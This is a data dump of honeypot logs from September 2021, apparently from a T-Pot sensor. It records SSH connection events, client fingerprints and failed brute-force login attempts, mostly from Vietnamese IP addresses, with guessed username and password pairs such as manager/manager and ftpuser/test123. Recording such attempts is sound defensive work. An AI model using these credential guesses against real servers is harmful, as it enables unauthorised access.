25000	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:19.605499+03	2021-09-20 14:15:09.529471+03	{"_id": "CAblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "80c27c939d8e", "@version": "1", "duration": 3.748469114303589, "timestamp": "2021-09-20T11:09:19.605499Z", "@timestamp": "2021-09-20T11:09:19.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25001	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:19.641905+03	2021-09-20 14:15:09.530498+03	{"_id": "CQblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [manager/manager] failed", "session": "4fddfc18cf82", "@version": "1", "password": "manager", "username": "manager", "timestamp": "2021-09-20T11:09:19.641905Z", "@timestamp": "2021-09-20T11:09:19.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25002	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:20.026581+03	2021-09-20 14:15:09.53147+03	{"_id": "CgblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d9b5709f7100", "@version": "1", "duration": 2.4744114875793457, "timestamp": "2021-09-20T11:09:20.026581Z", "@timestamp": "2021-09-20T11:09:20.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25004	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:20.157713+03	2021-09-20 14:15:09.534501+03	{"_id": "DAblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "4afed5ee7d32", "@version": "1", "duration": 4.813129663467407, "timestamp": "2021-09-20T11:09:20.157713Z", "@timestamp": "2021-09-20T11:09:20.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25005	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:20.307793+03	2021-09-20 14:15:09.535501+03	{"_id": "DQblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/test123] failed", "session": "51853037cdee", "@version": "1", "password": "test123", "username": "ftpuser", "timestamp": "2021-09-20T11:09:20.307793Z", "@timestamp": "2021-09-20T11:09:20.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25006	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.360336+03	2021-09-20 14:15:09.5365+03	{"_id": "DgblAnwBvYTbRNuEZRci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f153c4923fb3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:20.360336Z", "@timestamp": "2021-09-20T11:09:20.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25007	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:20.629663+03	2021-09-20 14:15:09.538502+03	{"_id": "DwblAnwBvYTbRNuEZxdo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1789886480790060, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46248, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.629663Z", "@timestamp": "2021-09-20T11:09:20.629Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25008	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:20.62981+03	2021-09-20 14:15:09.539502+03	{"_id": "FwblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46248, "timestamp": "2021-09-20T11:09:20.629810", "@timestamp": "2021-09-20T11:09:20.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25015	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:23.373498+03	2021-09-20 14:15:09.5495+03	{"_id": "RAblAnwBvYTbRNuEcBfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d26c3d4ddd88", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:23.373498Z", "@timestamp": "2021-09-20T11:09:23.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25009	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:20.884178+03	2021-09-20 14:15:09.541501+03	{"_id": "GAblAnwBvYTbRNuEaBdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56514, "dest_port": 22, "timestamp": "2021-09-20T11:09:20.884178", "@timestamp": "2021-09-20T11:09:20.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25010	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:09:22.007354+03	2021-09-20 14:15:09.5425+03	{"_id": "LAblAnwBvYTbRNuEbBfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "1ac359587dfc", "@version": "1", "duration": 3.2039427757263184, "timestamp": "2021-09-20T11:09:22.007354Z", "@timestamp": "2021-09-20T11:09:22.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25011	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:22.390541+03	2021-09-20 14:15:09.543501+03	{"_id": "LQblAnwBvYTbRNuEbBfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "c73c35c6a2a5", "@version": "1", "duration": 3.1754403114318848, "timestamp": "2021-09-20T11:09:22.390541Z", "@timestamp": "2021-09-20T11:09:22.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25012	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:23.392554+03	2021-09-20 14:15:09.544499+03	{"_id": "OwblAnwBvYTbRNuEcBfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51946 (192.168.176.2:22) [session: 684762ca9e73]", "session": "684762ca9e73", "@version": "1", "protocol": "ssh", "src_port": 51946, "dest_port": 22, "timestamp": "2021-09-20T11:09:23.392554Z", "@timestamp": "2021-09-20T11:09:23.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25013	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:23.043255+03	2021-09-20 14:15:09.5465+03	{"_id": "QgblAnwBvYTbRNuEcBfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f153c4923fb3", "@version": "1", "duration": 2.6865909099578857, "timestamp": "2021-09-20T11:09:23.043255Z", "@timestamp": "2021-09-20T11:09:23.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25014	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:23.071307+03	2021-09-20 14:15:09.548501+03	{"_id": "QwblAnwBvYTbRNuEcBfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [music/music] failed", "session": "606e1b25c6b7", "@version": "1", "password": "music", "username": "music", "timestamp": "2021-09-20T11:09:23.071307Z", "@timestamp": "2021-09-20T11:09:23.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25016	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:23.376169+03	2021-09-20 14:15:09.550508+03	{"_id": "RQblAnwBvYTbRNuEcBfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d26c3d4ddd88", "@version": "1", "timestamp": "2021-09-20T11:09:23.376169Z", "@timestamp": "2021-09-20T11:09:23.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25017	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:23.373242+03	2021-09-20 14:15:09.552505+03	{"_id": "RgblAnwBvYTbRNuEcxch", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 160079536114215, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50428, "dest_port": 22, "timestamp": "2021-09-20T11:09:23.373242Z", "@timestamp": "2021-09-20T11:09:23.373Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
